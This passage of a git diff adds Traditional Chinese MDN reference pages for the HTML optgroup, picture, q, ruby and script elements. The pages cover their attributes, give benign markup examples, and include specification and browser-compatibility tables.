+<p>{{Note("Optgroup elements may not be nested.")}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>If this Boolean attribute is set, none of the items in this option group is selectable. Often browsers grey out such control and it won't receive any browsing events, like mouse clicks or focus-related ones.</dd>
+ <dt>{{htmlattrdef("label")}}</dt>
+ <dd>The name of the group of options, which the browser can use when labeling the options in the user interface. This attribute is mandatory if this element is used.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: html">&lt;select&gt;
+  &lt;optgroup label="Group 1"&gt;
+    &lt;option&gt;Option 1.1&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Group 2"&gt;
+    &lt;option&gt;Option 2.1&lt;/option&gt;
+    &lt;option&gt;Option 2.2&lt;/option&gt;
+  &lt;/optgroup&gt;
+  &lt;optgroup label="Group 3" disabled&gt;
+    &lt;option&gt;Option 3.1&lt;/option&gt;
+    &lt;option&gt;Option 3.2&lt;/option&gt;
+    &lt;option&gt;Option 3.3&lt;/option&gt;
+  &lt;/optgroup&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="結果">結果</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'the-button-element.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-optgroup-element', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;optgroup&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>基本</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>Other form-related elements: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}}, {{HTMLElement("datalist")}}, {{HTMLElement("option")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/element/picture/index.html b/files/zh-tw/web/html/element/picture/index.html
new file mode 100644
index 0000000000..080d6258cd
--- /dev/null
+++ b/files/zh-tw/web/html/element/picture/index.html
@@ -0,0 +1,156 @@
+---
+title: '<picture>: The Picture element'
+slug: Web/HTML/Element/picture
+translation_of: Web/HTML/Element/picture
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;picture&gt;</code> 元素</strong> 包含了零或零以上個 {{HTMLElement("source")}} 元素以及一個 {{HTMLElement("img")}} 元素，以為不同顯示器/裝置提供同張圖片的不同版本。</span> </p>
+
+<p>瀏覽器將會考慮每個 <code>&lt;source&gt;</code> 元素，並且在其中選出最適當的選項。如果沒有找到最適當的選項——或是瀏覽器不支援 <code>&lt;picture&gt;</code> 元素——則 <code>&lt;img&gt;</code> 屬性的 URL 會被選擇。被選擇的圖片將會在 <code>&lt;img&gt;</code> 元素存在的位置顯示。</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/picture.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>為了決定載入哪一個 URL，{{Glossary("user agent")}} 會檢視每一個 <code>&lt;source&gt;</code> 的 {{htmlattrxref("srcset", "source")}}、{{htmlattrxref("media", "source")}} 以及 {{htmlattrxref("type", "source")}} 屬性，以選出最適合當前版面以及顯示裝置支援度的圖片。</p>
+
+<p><code>&lt;img&gt;</code> 有兩個作用：</p>
+
+<ol>
+ <li>它描述了該圖片的尺寸等屬性以及呈現（presentation）。</li>
+ <li>在所有列出的 <code>&lt;source&gt;</code> 都不能提供可用圖片的情況下的 fallback。 </li>
+</ol>
+
+<p><code>&lt;picture&gt;</code> 的常見使用案例：</p>
+
+<ul>
+ <li><strong>圖像方向（art direction）：</strong> 根據不同的 <code>media</code> 狀況裁切或調整圖片（例如在較小的螢幕上，載入原本有複雜細節圖片的較簡單版本圖片）</li>
+ <li><strong>提供替代的圖片格式：</strong>以應對某些特定格式不被支援的情況</li>
+ <li><strong>節省頻寬並加速頁面載入速度：</strong>透過針對觀看者的裝置載入最適當的圖片做到這點</li>
+</ul>
+
+<p>如果是要為高 DPI （Retina）螢幕提供圖片的高解析度版本時，可改在使用 <code>&lt;img&gt;</code> 上使用 {{htmlattrxref("srcset", "img")}} 屬性。這會讓瀏覽器在 data-saving 模式選擇低解析度的版本，這樣你就不用特地指定 <code>media</code> 條件。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>, phrasing content, embedded content</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>Zero or more {{HTMLElement("source")}} elements, followed by one {{HTMLElement("img")}} element, optionally intermixed with script-supporting elements.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that allows embedded content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Implicit ARIA role</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">No corresponding role</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>No <code>role</code> permitted</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLPictureElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>此元素只包含 <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<h2 id="用法筆記">用法筆記</h2>
+
+<p>你可以使用 {{cssxref("object-position")}} 屬性來在元素的 frame 內調整圖片位置，也可以用 {{cssxref("object-fit")}} 屬性控制圖片在 frame 內如何調整大小。</p>
+
+<div class="note">
+<p><strong>注意:</strong> 在子元素 <code>&lt;img&gt;</code> 上使用這些屬性，而不是 <code>&lt;picture&gt;</code> 元素.</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<p>以下例子示範如何根據 {{HTMLElement("source")}} 元素不同的屬性設定選擇 <code>&lt;picture&gt;</code> 中的不同圖片。</p>
+
+<h3 id="media_屬性">media 屬性</h3>
+
+<p><code>media</code> 屬性指定特定的媒體類型（跟 media query 很像），讓 user agent 可對每個 {{HTMLElement("source")}} 元素作出判斷。</p>
+
+<p>如果 {{HTMLElement("source")}} 的指定媒體類型被判斷為 <code>false</code> ，則瀏覽器會跳過它，並繼續判斷 <code>&lt;picture&gt;</code> 中的下個元素。</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source srcset="mdn-logo-wide.png" media="(min-width: 600px)"&gt;
+  &lt;img src="mdn-logo-narrow.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h3 id="srcset_屬性">srcset 屬性</h3>
+
+<p>The <a href="/en-US/docs/Web/HTML/Element/source#attr-srcset">{{htmlattrdef("srcset")}}</a> 屬性用來提供根據大小區分的可能圖片清單。</p>
+
+<p>它是由逗號分隔的圖片描述句清單組成的。每一個圖片描述句是由該圖片的 URL 以及以下描述組成（擇一）：</p>
+
+<ul>
+ <li>寬度，結尾為 <code>w</code> (例如 <code>300w</code>)；<br>
+  <em>或是</em></li>
+ <li>像素密度，結尾為 <code>x</code> (例如 <code>2x</code>)，以為高 DPI 螢幕提供高解析度圖片</li>
+</ul>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source srcset="logo-768.png 768w, logo-768-1.5x.png 1.5x"&gt;
+  &lt;source srcset="logo-480.png, logo-480-2x.png 2x"&gt;
+  &lt;img src="logo-320.png" alt="logo"&gt;
+&lt;/picture&gt;</pre>
+
+<h3 id="type_屬性">type 屬性</h3>
+
+<p><code>type</code> 屬性為 {{HTMLElement("source")}} 元素中 <code>srcset</code> 屬性的資源 URL 指定  <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME type</a> 。如果 user agent 不支援該 type 的話，此 {{HTMLElement("source")}} 元素會被略過。</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source srcset="logo.webp" type="image/webp"&gt;
+  &lt;img src="logo.png" alt="logo"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-picture-element', '&lt;picture&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+
+
+<p>{{Compat("html.elements.picture")}}</p>
+
+<h2 id="相關資源">相關資源</h2>
+
+<ul>
+ <li>{{HTMLElement("img")}} 元素</li>
+ <li>{{HTMLElement("source")}} 元素</li>
+ <li>在圖片的 frame 中調整其大小與位置： {{cssxref("object-position")}} and {{cssxref("object-fit")}}</li>
+ <li><a href="/en-US/docs/Web/Media/Formats/Image_types">圖片檔案類型與格式指南</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/element/q/index.html b/files/zh-tw/web/html/element/q/index.html
new file mode 100644
index 0000000000..b11fa1ac4c
--- /dev/null
+++ b/files/zh-tw/web/html/element/q/index.html
@@ -0,0 +1,103 @@
+---
+title: <q>
+slug: Web/HTML/Element/q
+translation_of: Web/HTML/Element/q
+---
+<div>{{HTMLRef}}</div>
+
+<p><em>HTML 引文元素</em> (<strong>&lt;q&gt;</strong>) 指示一段元素內的文字，屬於行內引文。這個元素適用於不須換行的短引文，針對長引文，請使用 {{HTMLElement("blockquote")}} 元素。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">內容類別</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流內容</a>、<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">段落式內容</a>、捫及內容。</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">段落式內容</a></td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>任何允許<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">段落式內容</a>的元素</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{NoteStart}}多數現代標準瀏覽器，如 Mozilla Firefox, Opera, Safari 會在 <code>&lt;q&gt;</code> 元素周圍添加引號；但有些瀏覽器（如 Internet Explorer）可能不會針對引用添加任何樣式，不過這些都可以透過樣式規則套用。{{NoteEnd}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元素包含 <a href="/zh-TW/docs/HTML/Global_attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>這個屬性值為可以指定引用文件、或信息來源的 URL。這個屬性預期導向信息說明的上下文、或是引文參照。</dd>
+</dl>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<h3 id="HTML_內容">HTML 內容</h3>
+
+<pre class="brush: html">&lt;p&gt;每當阿尼掛掉的時候，屎蛋會說：
+   &lt;q cite="https://zh.wikipedia.org/zh-tw/%E8%82%AF%E5%B0%BC%C2%B7%E9%BA%A6%E5%85%8B%E5%BA%B7%E7%B1%B3%E5%85%8B"&gt;
+     我的天啊！阿尼他被掛掉了！
+   &lt;/q&gt;.
+&lt;/p&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-q-element', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;q&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("html.elements.q")}}</p>
+</div>
+
+<p> </p>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>針對長引文的 {{HTMLElement("blockquote")}} 元素</li>
+ <li>針對引用來源的 {{HTMLElement("cite")}} 元素</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/ruby/index.html b/files/zh-tw/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..e0e1eb9dd2
--- /dev/null
+++ b/files/zh-tw/web/html/element/ruby/index.html
@@ -0,0 +1,93 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+translation_of: Web/HTML/Element/ruby
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;ruby&gt;</code> 元素</strong>的意思是旁註標記。旁註標記用於標示東亞文字的發音。</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ruby.html", "tabbed-shorter")}}</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/Web/HTML/Content_categories" title="HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Phrasing_content">流內容</a>、<a href="/zh-TW/docs/Web/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">段落型內容</a>、捫及內容</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Phrasing_content" title="HTML/Content_categories#Phrasing_content">段落型內容</a></td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a></td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">屬性</h2>
+
+<p>這個元素只支援<a href="/zh-TW/docs/Web/HTML/Global_attributes" title="HTML/Global attributes">全域屬性</a>。</p>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<h3 id="範例一：字">範例一：字</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h3 id="範例二：詞">範例二：詞</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("html.elements.ruby")}}</p>
+
+<h2 id="See_also" name="See_also">參閱</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>{{HTMLElement("rtc")}}</li>
+ <li>{{HTMLElement("rbc")}}</li>
+ <li>{{CSSxRef("text-transform")}}: full-size-kana</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/script/index.html b/files/zh-tw/web/html/element/script/index.html
new file mode 100644
index 0000000000..575be45b12
--- /dev/null
+++ b/files/zh-tw/web/html/element/script/index.html
@@ -0,0 +1,202 @@
+---
+title: <script>
+slug: Web/HTML/Element/script
+translation_of: Web/HTML/Element/script
+---
+<p><span class="seoSummary"><strong>HTML <code>&lt;script&gt;</code> 元素</strong>能嵌入或引用要執行的程式碼。最常見的用途是嵌入或引用 JavaScript 程式碼。</span>&lt;script&gt; 元素也能執行其他語言，例如 <a href="/zh-TW/docs/Web/API/WebGL_API">WebGL</a> 的 GLSL shader 程式語言。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/Web/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/Web/HTML/Content_categories#Metadata_content">元資料內容</a>、<a href="/zh-TW/docs/Web/HTML/Content_categories#Flow_content">流型內容</a>、<a href="/zh-TW/docs/Web/HTML/Content_categories#Phrasing_content">Phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的內容</th>
+   <td>動態腳本如 <code>text/javascript</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的父元素</th>
+   <td>任何可接受 <a href="/zh-TW/docs/Web/HTML/Content_categories#Metadata_content">元資料內容</a>或 <a href="/zh-TW/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a> 的元素。</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的 ARIA role</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLScriptElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>此元素包含了<a href="/zh-TW/docs/Web/HTML/Global_attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>這個布林屬性告訴瀏覽器說：如果可以，就以非同步的方法執行腳本。</dd>
+</dl>
+
+<div class="warning">
+<p>如果沒有 <code>src</code> 屬性的話，就不能用這個屬性（例如行內腳本）：在這種情況下，它將失去作用。</p>
+</div>
+
+<dl>
+ <dd>
+ <p>在 HTML 解析時，瀏覽器通常會假定最壞的情況，並同步地載入腳本（例如 <code>async=false</code>）。</p>
+ </dd>
+ <dd>
+ <p>動態插入的腳本（例如 <code>document.createElement</code>）一般來說是非同步執行的。因此，如果設定同步的話（腳本按照被插入的順序執行），會被設為 <code>async=false</code>。</p>
+
+ <p>請參見 {{anch("Browser compatibility")}} 的瀏覽器支援備註。另請參見 <a href="/zh-TW/docs/Games/Techniques/Async_scripts">Async scripts for asm.js</a>。</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>針對沒有通過標準 <a href="/zh-TW/docs/HTTP_access_control">CORS</a> 的一般 <code>script</code> 元素，會把最少的資訊傳給 {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}}。若要允許另一個域名站點的靜態內容，列出錯誤訊息，請使用此屬性。請參見 <a href="/zh-TW/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a> 以以取得對其有效參數的，更具描述性的解釋。</dd>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>This Boolean attribute is set to indicate to a browser that the script is meant to be executed after the document has been parsed, but before firing {{event("DOMContentLoaded")}}.</dd>
+ <dd>Scripts with the defer attribute will prevent the DOMContentLoaded event from firing until the script has loaded and finished evaluating.</dd>
+</dl>
+
+<div class="warning">
+<p>如果沒有 <code>src</code> 屬性的話，就不能用這個屬性（例如行內腳本）：在這種情況下，它將失去作用。</p>
+</div>
+
+<dl>
+ <dd>To achieve a similar effect for dynamically inserted scripts use <code>async=false</code> instead. Scripts with the <code>defer</code> attribute will execute in the order in which they appear in the document.</dd>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>This attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See <a href="/zh-TW/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{htmlattrdef("nomodule")}}</dt>
+ <dd>這個布林屬性，會要求支援 <a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES2015 modules</a> 的瀏覽器，不執行裡面的程式。這能用來給不支援 JavaScript 模組的老舊瀏覽器，提供用於向下支援的服務。</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd>A cryptographic nonce (number used once) to whitelist inline scripts in a <a href="/zh-TW/docs/Web/HTTP/Headers/Content-Security-Policy/script-src">script-src Content-Security-Policy</a>. The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>此屬性指定外部程式的 <abbr>URI</abbr>，可以用來取代直接在文件內中嵌入腳本。</dd>
+</dl>
+
+<div class="warning">
+<p>如果 <code>script</code> 元素有指定 <code>src</code> 屬性的話，標籤內就不能有嵌入的腳本。</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("text")}}</dt>
+ <dd>Like the <code>textContent</code> attribute, this attribute sets the text content of the element. Unlike the <code>textContent</code> attribute, however, this attribute is evaluated as executable code after the node is inserted into the DOM.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>此屬性指定程式碼應該表示的類型。此屬性的值會屬於以下類別之一：</p>
+
+ <ul>
+  <li><strong>省略或 JavaScript MIME 類型</strong>：針對相容 HTML5 的瀏覽器來說，元素內會執行 JavaScript。HTML5 規範敦促作者省略此屬性，不需要寫冗長的 MIME 類型。在早期的瀏覽器中，這確定了嵌入或引入（透過 <code>src</code> 屬性）腳本的語言。JavaScript MIME 類型<a href="/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types">有列在規範內</a>。</li>
+  <li><strong><code>module</code></strong>：{{HTMLVersionInline(5)}} {{experimental_inline}} 針對相容 HTML5 的瀏覽器來說，這段程式碼會當成 JavaScript 模組（module）。腳本內容的處理不受 <code>charset</code> 與 <code>defer</code> 屬性影響。針對 <code>module</code> 的資訊，請參閱 <a class="external external-icon" href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>。在使用 <code>module</code> 關鍵字時，程式碼的行為會有所不同。</li>
+  <li><strong>其他值</strong>：嵌入的內容會被當成一段不給瀏覽器執行的資料塊（data block）。開發者應當使用非 JavaScript 的有效 MIME 類型，以標明資料塊。<code>src</code> 屬性也將被忽略。</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>注：</strong>在 Firefox 你可以在 <code>&lt;script&gt;</code> 元素的 <code>type</code> 屬性，透過標明非標準參數 <code>version</code>，指定要使用的 JavaScript 版本：例如說 <code>type="application/javascript;version=1.8"</code>。這個功能在 Firefox 59 移除了（請參見 {{bug(1428745)}}）。</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="棄用屬性">棄用屬性</h3>
+
+<dl>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>如同 <code>type</code> 屬性，此屬性指定正在使用的腳本語言。但與 <code>type</code> 屬性不同，此屬性的可用值從未標準化。應當使用 <code>type</code> 屬性。</dd>
+</dl>
+
+<h2 id="註解">註解</h2>
+
+<p>Scripts without <code>async</code> or <code>defer</code> attributes, as well as inline scripts, are fetched and executed immediately, before the browser continues to parse the page.</p>
+
+<p>The script should be served with the <code>text/javascript</code> MIME type, but browsers are lenient and only block them if the script is served with an image type (<code>image/*</code>); a video type (<code>video/*</code>); an audio (<code>audio/*</code>) type; or <code>text/csv</code>. If the script is blocked, an {{event("error")}} is sent to the element, if not a {{event("load")}} event is sent.</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="基本">基本</h3>
+
+<p>以下示例展示如何在 HTML4 與 HTML5 使用 <code>&lt;script&gt;</code> 屬性。</p>
+
+<pre class="brush: html">&lt;!-- HTML4 與  (x)HTML --&gt;
+&lt;script type="text/javascript" src="javascript.js"&gt;&lt;/script&gt;
+
+&lt;!-- HTML5 --&gt;
+&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<h3 id="模組的向下支援方案">模組的向下支援方案</h3>
+
+<p>有針對 type 屬性支援 module（模組）的瀏覽器，會忽略 nomodule 屬性的程式碼。這能讓那些不支援模組的瀏覽器，提供替代的使用方法。</p>
+
+<pre class="brush: js">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;
+&lt;script nomodule src="fallback.js"&gt;&lt;/script&gt;</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Adds the module type</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'scripting-1.html#script', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/scripts.html#h-18.2.1', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Subresource Integrity', '#htmlscriptelement', '&lt;script&gt;')}}</td>
+   <td>{{Spec2('Subresource Integrity')}}</td>
+   <td>Adds the integrity attribute.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>The information shown below has been pulled from MDN's Github (<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>)</p>
+
+<div>
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
